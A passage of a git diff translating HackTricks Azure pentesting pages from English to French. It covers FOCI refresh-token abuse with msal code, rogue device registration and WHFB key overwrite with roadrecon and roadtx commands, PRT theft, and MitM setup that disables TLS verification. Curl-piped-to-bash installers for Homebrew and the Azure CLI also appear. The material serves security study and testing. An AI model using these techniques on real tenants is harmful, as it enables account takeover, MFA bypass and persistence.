- [**Jetons d'accès**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Le client présente ce jeton au serveur de ressources pour **accéder aux ressources**. Il ne peut être utilisé que pour une combinaison spécifique d'utilisateur, de client et de ressource et **ne peut pas être révoqué** jusqu'à son expiration - c'est-à-dire 1 heure par défaut.
- **Jetons ID** : Le client reçoit ce **jeton du serveur d'autorisation**. Il contient des informations de base sur l'utilisateur. Il est **lié à une combinaison spécifique d'utilisateur et de client**.
- **Jetons de rafraîchissement** : Fournis au client avec le jeton d'accès. Utilisés pour **obtenir de nouveaux jetons d'accès et ID**. Il est lié à une combinaison spécifique d'utilisateur et de client et peut être révoqué. L'expiration par défaut est de **90 jours** pour les jetons de rafraîchissement inactifs et **pas d'expiration pour les jetons actifs** (il est possible d'obtenir de nouveaux jetons de rafraîchissement à partir d'un jeton de rafraîchissement).
- Un jeton de rafraîchissement doit être lié à un **`aud`**, à certains **scopes**, et à un **tenant** et il ne devrait pouvoir générer des jetons d'accès que pour cet aud, ces scopes (et pas plus) et ce tenant. Cependant, ce n'est pas le cas avec les **jetons d'applications FOCI**.
- Un jeton de rafraîchissement est crypté et seul Microsoft peut le déchiffrer.
- Obtenir un nouveau jeton de rafraîchissement ne révoque pas le jeton de rafraîchissement précédent.
> [!WARNING]
> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
> Les informations pour **l'accès conditionnel** sont **stockées** à l'intérieur du **JWT**. Donc, si vous demandez le **jeton depuis une adresse IP autorisée**, cette **IP** sera **stockée** dans le jeton et vous pourrez ensuite utiliser ce jeton depuis une **IP non autorisée pour accéder aux ressources**.
### Access Tokens "aud"
The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
Le champ indiqué dans le champ "aud" est le **serveur de ressources** (l'application) utilisé pour effectuer la connexion.
The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
La commande `az account get-access-token --resource-type [...]` prend en charge les types suivants et chacun d'eux ajoutera un "aud" spécifique dans le jeton d'accès résultant :
> [!CAUTION]
> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
> Notez que les éléments suivants ne sont que les API prises en charge par `az account get-access-token`, mais il y en a d'autres.
<details>
<summary>aud examples</summary>
<summary>exemples d'aud</summary>
- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
- **aad-graph (Azure Active Directory Graph API)** : Utilisé pour accéder à l'API Azure AD Graph héritée (dépréciée), qui permet aux applications de lire et d'écrire des données d'annuaire dans Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
- `https://management.core.windows.net/ or https://management.azure.com/`
* **arm (Azure Resource Manager)** : Utilisé pour gérer les ressources Azure via l'API Azure Resource Manager. Cela inclut des opérations telles que la création, la mise à jour et la suppression de ressources telles que des machines virtuelles, des comptes de stockage, et plus encore.
- `https://management.core.windows.net/ ou https://management.azure.com/`
- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
- `https://batch.core.windows.net/`
- **batch (Azure Batch Services)** : Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications de calcul parallèle à grande échelle et à haute performance dans le cloud.
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
- `https://datalake.azure.net/`
* **data-lake (Azure Data Lake Storage)** : Utilisé pour interagir avec Azure Data Lake Storage Gen1, qui est un service de stockage et d'analyse de données évolutif.
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
- `https://rest.media.azure.net`
- **media (Azure Media Services)** : Utilisé pour accéder à Azure Media Services, qui fournissent des services de traitement et de livraison de médias basés sur le cloud pour le contenu vidéo et audio.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
- `https://graph.microsoft.com`
* **ms-graph (Microsoft Graph API)** : Utilisé pour accéder à l'API Microsoft Graph, le point de terminaison unifié pour les données des services Microsoft 365. Il permet d'accéder aux données et aux informations des services tels qu'Azure AD, Office 365, Enterprise Mobility et les services de sécurité.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
- `https://ossrdbms-aad.database.windows.net`
- **oss-rdbms (Azure Open Source Relational Databases)** : Utilisé pour accéder aux services de base de données Azure pour des moteurs de bases de données relationnelles open-source comme MySQL, PostgreSQL et MariaDB.
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
Le scope d'un jeton d'accès est stocké à l'intérieur de la clé scp dans le JWT du jeton d'accès. Ces scopes définissent à quoi le jeton d'accès a accès.
If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
Si un JWT est autorisé à contacter une API spécifique mais **n'a pas le scope** pour effectuer l'action demandée, il **ne pourra pas effectuer l'action** avec ce JWT.
### Get refresh & access token example
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -107,17 +106,17 @@ from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
@@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
## Escalade de privilèges des jetons FOCI
## FOCI Tokens Privilege Escalation
Il a été mentionné précédemment que les jetons d'actualisation doivent être liés aux **portées** avec lesquelles ils ont été générés, à l'**application** et au **locataire** pour lesquels ils ont été générés. Si l'une de ces limites est franchie, il est possible d'escalader les privilèges car il sera possible de générer des jetons d'accès pour d'autres ressources et locataires auxquels l'utilisateur a accès et avec plus de portées que ce qui était initialement prévu.
Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
De plus, **cela est possible avec tous les jetons d'actualisation** dans la [plateforme d'identité Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (comptes Microsoft Entra, comptes personnels Microsoft et comptes sociaux comme Facebook et Google) car comme le mentionnent les [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) : "Les jetons d'actualisation sont liés à une combinaison d'utilisateur et de client, mais **ne sont pas liés à une ressource ou à un locataire**. Un client peut utiliser un jeton d'actualisation pour acquérir des jetons d'accès **à travers n'importe quelle combinaison de ressource et de locataire** où il a la permission de le faire. Les jetons d'actualisation sont cryptés et seule la plateforme d'identité Microsoft peut les lire."
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
De plus, notez que les applications FOCI sont des applications publiques, donc **aucun secret n'est nécessaire** pour s'authentifier auprès du serveur.
Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
Ensuite, les clients FOCI connus rapportés dans la [**recherche originale**](https://github.com/secureworks/family-of-client-ids-research/tree/main) peuvent être [**trouvés ici**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
### Get different scope
Following with the previous example code, in this code it's requested a new token for a different scope:
### Obtenir une portée différente
En suivant l'exemple de code précédent, dans ce code, un nouveau jeton est demandé pour une portée différente :
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Get different client and scopes
### Obtenir différents clients et portées
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## References
## Références
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
{{#include ../../../banners/hacktricks-training.md}}

68
src/pentesting-cloud/azure-security/az-device-registration.md
View File

@@ -2,23 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
When a device joins AzureAD a new object is created in AzureAD.
Lorsqu'un appareil rejoint AzureAD, un nouvel objet est créé dans AzureAD.
When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
Lors de l'enregistrement d'un appareil, **l'utilisateur est invité à se connecter avec son compte** (demandant une MFA si nécessaire), puis il demande des jetons pour le service d'enregistrement des appareils et demande ensuite une confirmation finale.
Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
Ensuite, deux paires de clés RSA sont générées dans l'appareil : La **clé de l'appareil** (**clé publique**) qui est envoyée à **AzureAD** et la **clé de transport** (**clé privée**) qui est stockée dans le TPM si possible.
Ensuite, l'**objet** est généré dans **AzureAD** (pas dans Intune) et AzureAD renvoie à l'appareil un **certificat** signé par lui. Vous pouvez vérifier que **l'appareil est joint à AzureAD** et obtenir des informations sur le **certificat** (comme s'il est protégé par le TPM).
```bash
dsregcmd /status
```
Après l'enregistrement de l'appareil, un **Primary Refresh Token** est demandé par le module LSASS CloudAP et donné à l'appareil. Avec le PRT est également livré la **clé de session chiffrée afin que seul l'appareil puisse la déchiffrer** (en utilisant la clé publique de la clé de transport) et elle est **nécessaire pour utiliser le PRT.**
After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
For more information about what is a PRT check:
Pour plus d'informations sur ce qu'est un PRT, consultez :
{{#ref}}
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
### TPM - Trusted Platform Module
The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
Le **TPM** **protège** contre l'extraction de clés **d'un appareil éteint** (s'il est protégé par un code PIN) et contre l'extraction du matériel privé de la couche OS.\
Mais il **ne protège pas** contre le **sniffing** de la connexion physique entre le TPM et le CPU ou **l'utilisation du matériel cryptographique** dans le TPM pendant que le système fonctionne à partir d'un processus avec des droits **SYSTEM**.
If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
Si vous consultez la page suivante, vous verrez que **voler le PRT** peut être utilisé pour accéder comme un **utilisateur**, ce qui est génial car le **PRT est situé sur les appareils**, donc il peut être volé à partir d'eux (ou s'il n'est pas volé, abusé pour générer de nouvelles clés de signature) :
{{#ref}}
az-lateral-movement-cloud-on-prem/pass-the-prt.md
{{#endref}}
## Registering a device with SSO tokens
It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
## Enregistrement d'un appareil avec des jetons SSO
Il serait possible pour un attaquant de demander un jeton pour le service d'enregistrement des appareils Microsoft depuis l'appareil compromis et de l'enregistrer :
```bash
# Initialize SSO flow
roadrecon auth prt-init
@@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
# Custom pyhton script to register a device (check roadtx)
registerdevice.py
```
Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
Qui vous donnera un **certificat que vous pouvez utiliser pour demander des PRT à l'avenir**. Cela permet de maintenir la persistance et **de contourner MFA** car le jeton PRT original utilisé pour enregistrer le nouvel appareil **avait déjà des autorisations MFA accordées**.
> [!TIP]
> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
> Notez que pour effectuer cette attaque, vous aurez besoin d'autorisations pour **enregistrer de nouveaux appareils**. De plus, enregistrer un appareil ne signifie pas que l'appareil sera **autorisé à s'inscrire dans Intune**.
> [!CAUTION]
> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
> Cette attaque a été corrigée en septembre 2021 car vous ne pouvez plus enregistrer de nouveaux appareils en utilisant des jetons SSO. Cependant, il est toujours possible d'enregistrer des appareils de manière légitime (en ayant un nom d'utilisateur, un mot de passe et MFA si nécessaire). Vérifiez : [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
## Overwriting a device ticket
## Écraser un ticket d'appareil
It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
Il était possible de **demander un ticket d'appareil**, **écraser** l'actuel de l'appareil, et pendant le flux **voler le PRT** (donc pas besoin de le voler depuis le TPM. Pour plus d'infos [**vérifiez cette présentation**](https://youtu.be/BduCn8cLV1A).
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
> [!CAUTION]
> However, this was fixed.
> Cependant, cela a été corrigé.
## Overwrite WHFB key
## Écraser la clé WHFB
[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
[**Vérifiez les diapositives originales ici**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
Attack summary:
Résumé de l'attaque :
- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
- This also provides **persistence**
- Il est possible d'**écraser** la clé **WHFB enregistrée** d'un **appareil** via SSO
- Cela **contourne la protection TPM** car la clé est **interceptée lors de la génération** de la nouvelle clé
- Cela fournit également **de la persistance**
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
Then, it's possible to generate a new key with:
Les utilisateurs peuvent modifier leur propre propriété searchableDeviceKey via l'Azure AD Graph, cependant, l'attaquant doit avoir un appareil dans le locataire (enregistré à la volée ou ayant volé un cert + clé d'un appareil légitime) et un jeton d'accès valide pour le Graph AAD.
Ensuite, il est possible de générer une nouvelle clé avec :
```bash
roadtx genhellokey -d <device id> -k tempkey.key
```
and then PATCH the information of the searchableDeviceKey:
et ensuite PATCH les informations de searchableDeviceKey :
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
Il est possible d'obtenir un jeton d'accès d'un utilisateur via **device code phishing** et d'abuser des étapes précédentes pour **voler son accès**. Pour plus d'informations, consultez :
{{#ref}}
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
<figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
## References
## Références
- [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
- [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
{{#include ../../banners/hacktricks-training.md}}

84
src/pentesting-cloud/azure-security/az-enumeration-tools.md
View File

@@ -1,11 +1,11 @@
# Az - Enumeration Tools
# Az - Outils d'énumération
{{#include ../../banners/hacktricks-training.md}}
## Install PowerShell in Linux
## Installer PowerShell sur Linux
> [!TIP]
> In linux you will need to install PowerShell Core:
> Sur Linux, vous devrez installer PowerShell Core :
>
> ```bash
> sudo apt-get update
@@ -14,11 +14,11 @@
> # Ubuntu 20.04
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
>
> # Update repos
> # Mettre à jour les dépôts
> sudo apt-get update
> sudo add-apt-repository universe
>
> # Install & start powershell
> # Installer et démarrer powershell
> sudo apt-get install -y powershell
> pwsh
>
@@ -26,58 +26,47 @@
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
> ```
## Install PowerShell in MacOS
## Installer PowerShell sur MacOS
Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
1. Install `brew` if not installed yet:
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) :
1. Installez `brew` si ce n'est pas encore fait :
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
2. Install the latest stable release of PowerShell:
2. Installez la dernière version stable de PowerShell :
```sh
brew install powershell/tap/powershell
```
3. Run PowerShell:
3. Exécuter PowerShell :
```sh
pwsh
```
4. Update:
4. Mise à jour :
```sh
brew update
brew upgrade powershell
```
## Main Enumeration Tools
## Outils Principaux d'Enumeration
### az cli
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
[**Interface de ligne de commande Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) est un outil multiplateforme écrit en Python pour gérer et administrer (la plupart des) ressources Azure et Entra ID. Il se connecte à Azure et exécute des commandes administratives via la ligne de commande ou des scripts.
Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
Suivez ce lien pour les [**instructions d'installation¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
Commands in Azure CLI are structured using a pattern of: `az <service> <action> <parameters>`
Les commandes dans Azure CLI sont structurées en utilisant un modèle de : `az <service> <action> <parameters>`
#### Debug | MitM az cli
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
#### Déboguer | MitM az cli
En utilisant le paramètre **`--debug`**, il est possible de voir toutes les requêtes que l'outil **`az`** envoie :
```bash
az account management-group list --output table --debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez faire :
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080"
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
### Az PowerShell
Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
Azure PowerShell est un module avec des cmdlets pour gérer les ressources Azure directement depuis la ligne de commande PowerShell.
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
Suivez ce lien pour les [**instructions d'installation**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
Les commandes dans le module Azure PowerShell AZ sont structurées comme : `<Action>-Az<Service> <parameters>`
#### Debug | MitM Az PowerShell
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
En utilisant le paramètre **`-Debug`**, il est possible de voir toutes les requêtes que l'outil envoie :
```bash
Get-AzResourceGroup -Debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez définir les variables d'environnement `HTTPS_PROXY` et `HTTP_PROXY` selon la [**documentation**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
### Microsoft Graph PowerShell
Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
Microsoft Graph PowerShell est un SDK multiplateforme qui permet d'accéder à toutes les API Microsoft Graph, y compris des services comme SharePoint, Exchange et Outlook, en utilisant un seul point de terminaison. Il prend en charge PowerShell 7+, l'authentification moderne via MSAL, les identités externes et les requêtes avancées. Avec un accent sur l'accès avec le moindre privilège, il garantit des opérations sécurisées et reçoit des mises à jour régulières pour s'aligner sur les dernières fonctionnalités de l'API Microsoft Graph.
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
Suivez ce lien pour les [**instructions d'installation**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service> <parameters>`
Les commandes dans Microsoft Graph PowerShell sont structurées comme suit : `<Action>-Mg<Service> <parameters>`
#### Debug Microsoft Graph PowerShell
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
#### Déboguer Microsoft Graph PowerShell
En utilisant le paramètre **`-Debug`**, il est possible de voir toutes les requêtes que l'outil envoie :
```bash
Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
Le module Azure Active Directory (AD), maintenant **déprécié**, fait partie d'Azure PowerShell pour gérer les ressources Azure AD. Il fournit des cmdlets pour des tâches telles que la gestion des utilisateurs, des groupes et des enregistrements d'applications dans Entra ID.
> [!TIP]
> This is replaced by Microsoft Graph PowerShell
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
> Cela est remplacé par Microsoft Graph PowerShell
Suivez ce lien pour les [**instructions d'installation**](https://www.powershellgallery.com/packages/AzureAD).

48
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
View File

@@ -1,20 +1,19 @@
# Az - Arc vulnerable GPO Deploy Script
# Az - Arc script de déploiement GPO vulnérable
{{#include ../../../banners/hacktricks-training.md}}
### Identifying the Issues
### Identification des problèmes
Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
Azure Arc permet l'intégration de nouveaux serveurs internes (serveurs de domaine joints) dans Azure Arc en utilisant la méthode de l'objet de stratégie de groupe. Pour faciliter cela, Microsoft fournit un kit d'outils de déploiement nécessaire pour initier la procédure d'intégration. Dans le fichier ArcEnableServerGroupPolicy.zip, les scripts suivants peuvent être trouvés : DeployGPO.ps1, EnableAzureArc.ps1 et AzureArcDeployment.psm1.
When executed, the DeployGPO.ps1 script performs the following actions:
Lors de son exécution, le script DeployGPO.ps1 effectue les actions suivantes :
1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
1. Crée le GPO d'intégration des serveurs Azure Arc dans le domaine local.
2. Copie le script d'intégration EnableAzureArc.ps1 dans le partage réseau désigné créé pour le processus d'intégration, qui contient également le package d'installation Windows.
When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : **ServicePrincipalId** et **ServicePrincipalClientSecret**. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage et le nom du partage. D'autres détails tels que l'ID de locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.
Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les groupes de sécurité Domain Controllers et Domain Computers, comme noté dans les commentaires du script.
```powershell
